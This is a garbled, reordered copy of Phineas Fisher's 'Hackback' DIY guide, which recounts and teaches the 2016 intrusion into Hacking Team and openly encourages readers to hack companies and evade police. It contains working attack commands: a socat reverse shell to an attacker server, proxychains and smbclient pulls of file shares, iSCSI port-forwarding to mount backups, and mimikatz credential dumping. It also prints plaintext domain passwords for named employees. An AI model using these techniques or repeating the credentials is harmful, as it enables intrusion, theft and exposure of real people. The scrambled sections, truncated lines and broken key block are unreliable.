Hackback - A DIY GUIDE 1

'Hacking Team attack'

Phineas Fisher

17 Apr 2016

A DIY Guide
--[ 1 - Introduction ]----------------------------------------------------------

You’ll notice the change in language since the last edition [1]. The English-speaking world already has tons of books, talks, guide info about hacking. In that world, there’s plenty of hackers but they misuse their talents working for “defense” contractor agencies, to protect banks and corporations, and to defend the status quo. Hacker culture was born in the US as a counterculture, but that origin only remains in its aesthetics - the rest has been assimilated. At least they can wear a t-shirt, dye their hair blue, use their hacker names, and feel like rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4]. Like the CNT said after the Gamma Group hack: “Let’s take a step forward with new forms of struggle“ [5]. Hacking is a powerful tool, let’s learn and fight!


--[ 2 - Hacking Team ]----------------------------------------------------------
Hacking Team saw themselves as part of a long line of inspired Italian design [1]. I see Vincenzetti, his company, his cronies in the police and government, as part of a long tradition of Italian fascism. I'd like to dedicate this guide to the victims of the raid on the Armando Diaz school, and to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/61810472326309688#

-- [ 18 - Contact ] --------------------------------------------------------------

To send me spear phishing attempts, death threats in Italian [1][2], and to give me 0days or access inside banks, corporations, government [1]

[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail

-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFVp37MBCAcU0rMiDtOt5t98NwerHUPYy13Fuau+bf2E70U1hTodv4F/N04K
vdZi1hKfgeLVSn5oSimKvhV42bzvvc1w/00JH7UTLCznbt9WGxtLEs+C+jF9j:27QIf0JLfhZy2mG7v1Kr88v95LYJxvtMMmJEWvonTECY6RwNaodhBy/TcDWA
+fCM4OxM4AwkqhaAtqUwAJ3Xw+Hr/3kv+UNV1BP1GySnV+0A4m8XWaPE7:
VYNVbIkJzeOXK9enaY1kJK8LD0Honz5LaGraRoumiu8Jcc6HwLHJlRkcTIf91:
M3cGckaJ30JnPc/qG5aFqy14pJbX/CK6CwqrABEBAAG0IehhY2agJmFjayEgP
Y2tiYWhrQHjpc2V1c5CuZQX+1QE3BBMBCAgBQJXAVfFAsDBQsJCaCDBRUKCQ
BRYCAwEAAhGAbeAAoJEDScPRHoqSXqVoTIA1Y8FRdTptbyE16Khkh2h8+cr+3T:
QdqVNDp6nbP2rVPW+c3DeTNg0R8+87NA1GpV17VxwYoao4ZwKbd/tTNFkOSL:
CQ8+1Bfsa00084dn6vSYtpd61rBvCgj11qQCqOo7gROeDURwW2Z61yWTZ8KX1K
JCl0Csm8XtB8eCemXnQLZvqY0VaF49rhYn9+edusn3410BP+B7LKHsvj3S:
4eauRJ/XzYq normalQP3e6W2uZL9PF8E2n0b2jGkA4vqX31u2dYtY3PMe8zFJ
X2NYUYWm3oxiQGohoAn/EBVhtk2f7hxAY4bbDEQeDLSpybZExuzgM6gC5AQ

Hacking Team was a company that helped governments hack and spy on journalists, activists, political opposition, and other threats to their power [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the fascist slogan "boiachi molla". It'd be more correct to say "boia chi vende RCS". They also claimed to have technology to solve the "problem" posed by Tor and the darknet [13]. But seeing as I'm still free, I have my doubts about its effectiveness.


-- [ 3 - Stay safe out there ] ---------------------------------------------------

Unfortunately, our world is backwards. You get rich by doing bad things and going to jail for doing good. Fortunately, thanks to the hard work of the Tor project [1], you can avoid going to jail by taking a few precautions:

1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, it means you've...
already made a lot of mistakes, but it’s better to be safe.

2) Use a virtual machine with all traffic routed through Tor

This accomplishes two things. First, all your traffic is an
Tor. Second, keeping your personal life and your hacking on
computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorVM
something custom [6]. Here’s [7] a detailed comparison.

3) (Optional) Don’t connect directly to Tor

Tor isn’t a panacea. They can correlate the times you’re co
with the times your hacker handle is active. Also, there ha
successful attacks against Tor [8]. You can connect to Tor ’peoples’ wifi. Wifislax [9] is a linux distro with a lot of
cracking wifi. Another option is to connect to a VPN or a b
before Tor, but that’s less secure because they can still c
hacker’s activity with your house’s internet activity (this
evidence against Jeremy Hammond [11]).

The reality is that while Tor isn’t perfect, it works quite
was young and reckless, I did plenty of stuff without any p
referring to hacking) apart from Tor, that the police tried
to investigate, and I’ve never had any problems.

[1] https://www.torproject.org/

Within Christian Pozzi’s Truecrypt volume, there was a textfile
passwords [1]. One of those was for a Fully Automated Nagios server
access to the Sviluppo network in order to monitor it. I’d found
the file in them. The textfile just had the password to the web interface
a public code execution exploit [2] (it’s an unauthenticated exploit that at least one user has a session initiated, for which there
wasn’t a password from the textfile).


---[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I’d seen Daniele Milan granting access to git
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab
server and their twitter account, I used the ”forgot my password” function
my access to their mail server to reset the passwords.

---[ 17 - Conclusion ]-----------------------------------------------------------

That’s all it takes to take down a company and stop their human
rights abuses. That’s the beauty and asymmetry of hacking: with 100 hours of work you can undo years of work by a multi-million dollar company. Hacking
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is
for educational purposes only, be an ethical hacker, don’t attack systems
that don’t have permission to, etc. I’ll say the same, but with a more
rebellious conception of ”ethical” hacking. Leaking documents, expropriating
banks, and working to secure the computers of ordinary people is hacking. However, most people that call themselves ’ethical hackers’ are
working to secure those who pay their high consulting fees, who are often
not deserving to be hacked.
Reading their documentation about their infrastructure [1], I still missing access to something important - the "Rete Sviluppo network with the source code for RCS. The sysadmins of a company access to everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and to were any other interesting systems I should investigate. It was simple to access their computers, since they were part of the windows do already gotten admin access. Mauro Romeo’s computer didn’t have open, so I opened the port for WMI [2] and executed meterpreter
[3]. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a Truecrypt volume, I waited until he’d mounted it and then copied off the files. Many have made fun of Christian Pozzi’s weak passwords [6][7][8][9]. I included them in the leak as a false clue, and to laugh at him. The reality is that mimikatz and keyloggers view all passwords equally.

I don’t hack directly from Tor exit nodes. They’re on blacklist, slow, and they can’t receive connect-backs. Tor protects my anonymity while I connect to the infrastructure I use to hack, which consists of:

1) Domain Names

For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

For use as C&C servers, to receive connect-back shells, to launch attacks, and to store the loot.

3) Hacked Servers

For use as pivots to hide the IP addresses of the stable servers. And for when I want a fast connection without pivoting, for example to scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it’s used carefully).

In the news we often see attacks traced back to government-backed groups ("APTs"), because they repeatedly use the same tools, leave footprints, and even use the same infrastructure (domains, email...
They're negligent because they can hack without legal conseque:

I didn't want to make the police's work any easier by relating Hacking Team with other hacks I've done or with names I use in work as a blackhat hacker. So, I used new servers and domain names, and payed for with new bitcoin addresses. Also tools that are publicly available, or things that I wrote spec this attack, and I changed my way of doing some things to not leave my usual forensic footprint.

--[ 4 - Information Gathering ]-----------------------------------------------

Although it can be tedious, this stage is very important, since the larger the attack surface, the easier it is to find a hole somewhere in it.

----[ 4.1 - Technical Information ]---------------------------------------------

Some tools and techniques are:

1) Google

A lot of interesting things can be found with a few well-chosen queries. For example, the identity of DPR [1]. The bible of Google hacking is the book "Google Hacking for Penetration Testers". You can find a short summary in Spanish at [2].

2) Subdomain Enumeration

Often, a company's main website is hosted by a third party, and the company's actual IP range thanks to subdomains like mxns1.company.com. Also, sometimes there are things that shou in "hidden" subdomains. Useful tools for discovering domain are fierce [3], theHarvester [4], and recon-ng [5].

3) Reading sharepoint

It's another place where many businesses store a lot of important information. It can also be downloaded with powershell [10].


It has a lot of useful information about users and computers. After getting Domain Admin, you can already get a lot of info with powerview tools [12]. After getting Domain Admin, you should export all information with csvde or another tool.

5) Spy on the employees

One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi (one of Hacking Team's sysadmins) gave me access to a Nagios server, which gave me access to the rete sviluppo (development network with the source code of RCS). With a simple combination of Get-Keystrokes and Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang [14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-useful addition-
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0-
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[8] https://www.youtube.com/watch?v=rpwrKhgMdlE
[13] https://github.com/PowerShellMafia/PowerSploit
I have passwords and a golden ticket [1] as backup access. You about the different techniques for persistence in windows here for hacking companies, it's not needed and it increases the ri


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1]. It's worth reading everything written by its author [2], especially [3], [4], and [5]. Powershell itself is also quite powerful [7]. As many windows 2000 and 2003 servers without powershell, you also have to learn the old school [8], with programs like netview.exe [9] or the 'net view'. Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ | select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1].select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershe lot of useful information.

3) Whois lookups and reverse lookups

   With a reverse lookup using the whois information from a domain of a company, you can find other domains and IP ranges. As far as I know, there's no free way to do reverse lookups aside from a google:

   'via della moscova 13' site:www.findip-address.com
   'via della moscova 13' site:domaintools.com

4) Port scanning and fingerprinting

   Unlike the other techniques, this talks to the company's servers. I include it in this section because it's not an attack, it's just information gathering. The company's IDS might generate an alert, but you don't have to worry since the whole internet is being scanned.

   For scanning, nmap [6] is precise, and can fingerprint the majority of services discovered. For companies with very large IP ranges, masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web sites.

----[ 4.2 - Social Information ]------------------------------------------

[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[8] https://github.com/robertdavidgraham/masscan
For social engineering, it’s useful to have information about their roles, contact information, operating system, browser, plugins, software, etc. Some resources are:

1) Google

Here as well, it’s the most useful tool.

2) theHarvester and recon-ng

I already mentioned them in the previous section, but they have a lot more functionality. They can find a lot of information quickly and automatically. It’s worth reading all their documentation.

3) LinkedIn

A lot of information about the employees can be found here. Company’s recruiters are the most likely to accept your connection requests.

4) Data.com

Previously known as jigsaw. They have contact information for many employees.

5) File Metadata

A lot of information about employees and their systems can be found in metadata of files the company has published. Useful tools for finding files on the company’s website and extracting the metadata are metagoofil [1] and FOCA [2].

3) Pass the Hash

If you have a user’s hash, but they’re not logged in, you can use sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, the migrate command in meterpreter and pupy [6], or the psinject [7] command in powershell empire. You can inject into the process that has the token you want.

5) runas

This is sometimes very useful since it doesn’t require admin privileges. The command is part of windows, but if you don’t have a GUI you can use powershell [8].

---[ 13.2 - Persistence ]---------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a challenge for assholes like Hacking Team who target activists and other individuals. To hack companies, persistence isn’t needed since they never sleep. I always use Duqu 2 style “persistence”, executing in RAM on a couple high-uptime servers. On the off chance that they all reboot at the same time,
If all those protocols are disabled or blocked by the firewall, once you're Domain Admin, you can use GPO to give users a login script, execute a scheduled task [13], or, like we’ll see with the Mauro Romeo (one of Hacking Team’s sysadmins), use GPO to open the firewall.

--- [ 5 - Entering the network ]---------------------------------------------

There are various ways to get a foothold. Since the method I used against Hacking Team is uncommon and a lot more work than is usually necessary, I’ll talk a little about the two most common ways, which I recommend trying first.

----[ 5.1 - Social Engineering ]---------------------------------------------

Social engineering, specifically spear phishing, is responsible for the majority of hacks these days. For an introduction in Spanish, see [1]. For more information in English, see [2] (the third part, 'Targeted Attacks'). For fun stories about the social engineering exploits of past generations, see [3]. I didn’t want to try to spear phish Hacking Team, as their whole business is helping governments spear phish their opponents, so they'd be very likely to recognize and investigate a spear phishing attempt.


----[ 5.2 - Buying Access ]-----------------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic sellers, and bot herders, many companies already have compromised computers in their networks. Almost all of the Fortune 500, with their huge networks, have some bots already inside. However, Hacking Team is a very small company, and most of it's employees are infosec experts, so there was a low chance they'd already been compromised.

----[ 5.3 - Technical Exploitation ]-----------------------------------------

After the Gamma Group hack, I described a process for searching for vulnerabilities [1]. Hacking Team had one public IP range:

inetnum: 93.62.139.32 - 93.62.139.47
Hacking Team had very little exposed to the internet. For example, unlike Gamma Group, their customer support site needed a client certificate to connect. What they had was their main website (a Joomla blog in which Joomscan[2] didn't find anything serious), a mail server, a couple routers, two VPN appliances, and a spam filtering appliance. So, I had three options: look for a 0day in Joomla, look for a 0day in postfix, or look for a 0day in an embedded device. A 0day in an embedded device seemed like the easiest option, and after two weeks of work reverse engineering, I got a remote root exploit. Since the vulnerabilities still haven’t been patched, I won’t give more details, but for more information on finding these kinds of vulnerabilities, see [3] and [4].

I did a lot of work and testing before using the exploit again. I wrote a backdoored firmware, and compiled various post-exploitation tools for the embedded device. The backdoor serves to protect the exploit. Using the exploit just once and then returning through the backdoor makes it harder to identify and patch the vulnerabilities.

The post-exploitation tools that I’d prepared were:

1) busybox

For all the standard Unix utilities that the system didn’t have.

2) nmap

The tried and true method for lateral movement on Windows. You can use psexec [1], winexe [2], metasploit’s psexec_psh [3], PowerShell, invoke_psexec [4], or the built-in Windows command “sc” [5]. For the metasploit module, powershell empire, and pth-winexe [6], you need the hash, not the password. It’s the most universal method (it works on any Windows computer with port 445 open), but it’s also the least stealthy. Event type 7045 “Service Control Manager” will appear in the event logs. In my experience, no one has ever noticed during a hack, but it helps investigators piece together what the hacker did afterwards.

2) WMI

The most stealthy method. The WMI service is enabled on all Windows computers, but except for servers, the firewall blocks it by default. You can use wmiexec.py [7], pth-wmis [6] (here’s a demonstration of wmiexec and pth-wmis [8]), Powershell Empire’s invoke_wmi [9], or the windows command wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

It’s disabled by default, and I don’t recommend enabling new protocols. But, if the sysadmin has already enabled it, it’s very convenient, especially if you use powershell for everything (and you should). Powershell for almost everything, it will change [11] with powershell 5 and windows 10, but for now powershell makes it easy to do everything in RAM, avoid AV, and leave a small footprint.

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5]. It’s in the same situations where you could use psexec, and it also leaves a well-known footprint [12].

5) GPO
Now that I'd gotten Domain Admin, I started to download file shares using my proxy and the -Tc option of smbclient, for example:

```bash
proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ \
   -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskSt
```

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in the torrent like that.

--[ 13 - Introduction to hacking windows domains ]------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I should give some general knowledge for hacking windows network.

----[ 13.1 - Lateral Movement ]------------------------------------------

I'll give a brief review of the different techniques for spreading within a windows network. The techniques for remote execution require the password or hash of a local admin on the target. By far, the most common way of obtaining those credentials is using mimikatz [1], especially sekurlsa::logonpasswords and sekurlsa::msv, on the computers where you already have admin access. The techniques for "in place" movement also require administrative privileges (except for runas). The most important tools for privilege escalation are PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Remote Movement:

1) psexec

3) Responder.py

The most useful tool for attacking windows networks when you have access to the internal network, but no domain user.

4) Python

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp, and arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:

```
my_server: socat file:'tty',raw,echo=0 tcp-listen:my_port
hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \ntcp:my_server:my_port
```

And useful for a lot more, it's a networking swiss army knife. See the examples section of its documentation.

8) screen
Like the shell with pty, it wasn’t really necessary, but I wanted to feel at home in Hacking Team’s network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local network.

10) tgcd

For forwarding ports, like for the SOCKS server, through th

[1] https://www.busybox.net/
[8] https://github.com/gentilkiwi/mimikatz

The worst thing that could happen would be for my backdoor or tools to make the system unstable and cause an employee to investigate. So I spent a week testing my exploit, backdoor, and post-exploitation tools in the networks of other vulnerable companies before entering Hacking Team’s network.

--[ 7 - Watch and Listen ]-----------------------------------------------

Now inside their internal network, I wanted to take a look around and think about my next step. I started Responder.py in analysis mode (-A to listen without sending poisoned responses), and did a slow scan with nmap.


With the Domain Admin password, I have access to the email, the heart of the company. Since with each step I take there’s a chance of being detected, I start downloading their email before continuing to explore. Powershell makes it easy [1]. Curiously, I found a bug with Powershell’s date handling. After downloading the emails, it took me another couple weeks to get the source code and everything else, so I returned every now and then to download the new emails. The server was Italian, with dates in the format day/month/year. I used:

-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all mail since June 5). The problem is it says the date is invalid if you try a day larger than 12 (I imagine because in the US the month comes first and you can’t have a month above 12). It seems like Microsoft’s engineers only test their software with their own locale.


--[ 12 - Downloading Files ]--------------------------------------------
What interested me most in the backup was seeing if it had a password or hash that could be used to access the live server. I used pwdump, cachedump, and lsadump [1] on the registry hives. lsadump found the password to the besadmin service account:

```
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e..!
0020 21 00 21 00 21 00 21 00 00 00 00 00 00 00 00 00 !.!.!
```

I used proxychains [2] with the socks server on the embedded device and smbclient [3] to check the password:

```
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
```

It worked! The password for besadmin was still valid, and a local admin. I used my proxy and metasploit's psexec_psh [4] to get a meterpreter session. Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest" and got a bunch of passwords, including the Domain Admin:

```
HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafilo Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
```

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker community [1]. Just when I was worried that they'd finally patched all of the authentication bypass bugs in MySQL [2][3][4][5], new databases style that lack authentication by design. Nmap found a few in Hacking Team's internal network:

```
27017/tcp open mongodb MongoDB 2.6.5
 | mongodb-databases:
 | ok = 1
 | totalSizeMb = 47547
 | totalSize = 49856643072
...
 | _ version = 2.6.5
```

They were the databases for test instances of RCS. The audio that RCS records is stored in MongoDB with GridFS. The audio folder in the torrent came from this. They were spying on themselves without meaning to.

Although it was fun to listen to recordings and see webcam images of Hacking Team developing their malware, it wasn’t very useful. Their insecure backups were the vulnerability that opened their doors. According to their documentation [1], their iSCSI devices were supposed to be on a separate network, but nmap found a few in their subnetwork 192.168.1.20.

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)...
3260/tcp open iscsi?
 | iscsi-info:
 | Address: 192.168.200.66:3260,0
 | Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)...
3260/tcp open iscsi?
 | iscsi-info:
 | Address: 10.0.1.72:3260,0
 | Address: 192.168.200.72:3260,0
 | Authentication: No authentication required

iSCSI needs a kernel module, and it would’ve been difficult to the embedded system. I forwarded the port so that I could mount:

VPS: tgcd -L -p 3260 -q 42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it because it thinks its IP is 192.168.200.72 instead of 127.0.0.1.

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server was the most interesting. It was too big to download, but it was possible to mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we’ve unpacked the Russian doll and can see all the old Exchange server in /mnt/part1